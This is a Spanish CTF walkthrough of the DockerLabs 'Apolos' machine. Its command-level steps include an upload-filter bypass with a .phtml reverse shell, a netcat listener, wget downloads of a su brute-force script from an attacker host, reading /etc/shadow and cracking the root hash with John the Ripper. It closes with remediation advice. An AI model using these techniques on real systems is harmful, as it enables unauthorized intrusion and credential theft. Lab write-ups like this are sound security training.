Ir al contenido

Apolos

Este documento detalla la resolución completa de la máquina Apolos, desarrollada por Luisillo_o para la plataforma DockerLabs y clasificada con una dificultad media.

El objetivo es explicar de forma clara cada paso del proceso de explotación, desde el reconocimiento inicial hasta la obtención de privilegios de administrador. Durante la máquina se abordan vulnerabilidades web, una escalada de un LFI a RCE mediante evasión de filtros, y finalmente la explotación de configuraciones inseguras relacionadas con credenciales y grupos privilegiados.

Todas las acciones fueron realizadas dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreApolos
AutorLuisillo_o
DificultadMedio
Fecha06/09/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip Apolos.zip
sudo bash auto_deploy.sh Apolos.tar

El script devuelve la IP del contenedor:

IP asignada


Ventana de terminal
mkdir -p Apolos/{content,exploits,nmap,gobuster,scripts}
cd Apolos

Ejecutamos un escaneo agresivo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Se identifica un único puerto abierto:

  • 80/tcp — HTTP

Puertos abiertos


Lanzamos un escaneo de directorios:

Ventana de terminal
gobuster dir \
-u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster result


  • /index.php — Página inicial tipo tienda/applestore. content of index

  • /login.php — Portal de acceso de usuarios.

  • /register.php — Página para registrar cuentas nuevas.

  • /img — Directorio accesible con imágenes.

  • /uploads — Directorio accesible pero vacío.

De momento no hay nada especialmente llamativo, así que avanzamos hacia la interacción con la aplicación.


Creamos un nuevo usuario:

creacion de usuario

Tras autenticarnos, realizamos escaneos adicionales con diferentes diccionarios en Gobuster. Esto revela una ruta importante:

  • /admin_dashboard.php — Panel administrativo

admin dashboard

Dentro del dashboard encontramos un apartado de configuraciones donde existe un formulario para subir archivos:

subir archivo

Este será el vector principal de explotación.


2.2 Abuso de la funcionalidad de subida de archivos

Sección titulada «2.2 Abuso de la funcionalidad de subida de archivos»

Intentamos subir una reverse shell en .php, pero el sistema bloquea este tipo de archivo. Probamos extensiones alternativas capaces de ejecutar código PHP —como .phar, .php5, .phtml— y descubrimos que la extensión .phtml es aceptada y ejecuta código sin restricciones.

Subimos nuestra reverse shell .phtml y verificamos la carga en /uploads:

uploads reverseshell

Levantamos un listener:

Ventana de terminal
nc -nlvp 443

Al acceder al archivo malicioso obtenemos acceso como www-data:

reverseshell


Dentro del directorio web encontramos credenciales hardcodeadas que permiten autenticarnos en otra parte del sistema. Sin embargo, estas credenciales no proporcionan un acceso privilegiado útil para escalar.

Durante la enumeración local no encontramos binarios SUID interesantes, ni permisos sudo, ni capacidades peligrosas. Con los vectores clásicos descartados, recurrimos a una técnica alternativa: un ataque fuerza bruta sobre la contraseña del usuario real del sistema, luisillo_o.

Usamos la herramienta userRush (script de fuerza bruta para su):

En la máquina atacante levantamos un servidor web:

Ventana de terminal
python3 -m http.server 8000

Luego, en la máquina víctima descargamos las herramientas:

Ventana de terminal
wget http://<IP_attacker>:8000/userRush.sh
wget http://<IP_attacker>:8000/rockyou.txt
chmod +x userRush.sh

Ejecutamos:

Ventana de terminal
./userRush.sh -u luisillo_o -d rockyou.txt -t 10

Después de un tiempo obtenemos una contraseña válida:

result of userRush

Accedemos:

Ventana de terminal
su luisillo_o

Listamos la información del usuario:

id luisillo_o

Observamos que pertenece al grupo shadow, lo que permite leer el fichero /etc/shadow, donde se almacenan los hashes de todas las contraseñas del sistema, incluyendo root.

Extraemos el hash de root y lo guardamos en un archivo:

nano hash

Luego lo crackeamos usando John the Ripper:

Ventana de terminal
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt hash

Tras unos minutos obtenemos la contraseña:

result of john

Ahora podemos acceder como root:

Ventana de terminal
su root

Y confirmamos privilegios:

root user


  1. Validación deficiente en subida de archivos Permite cargar archivos .phtml ejecutables.

  2. Panel administrativo accesible mediante fuerza bruta de rutas No existe protección, autenticación adicional ni control de acceso adecuado.

  3. Credenciales hardcodeadas en el código fuente Un riesgo grave que expone usuarios y servicios internos.

  4. Pertenece al grupo shadow sin justificación Permite leer hashes sensibles, incluida la contraseña de root.

  5. Ausencia total de controles contra fuerza bruta Tanto en login como en su.


  • Implementar una lista blanca estricta en la funcionalidad de subida de archivos.
  • Mover las credenciales del código fuente a variables de entorno o archivos de configuración protegidos.
  • Restringir correctamente el acceso al panel administrativo.
  • Evitar que usuarios estándar formen parte de grupos privilegiados como shadow.
  • Implementar mecanismos anti fuerza bruta (rate limiting, timeouts, captchas).
  • Realizar auditorías periódicas de permisos del sistema y configuraciones web.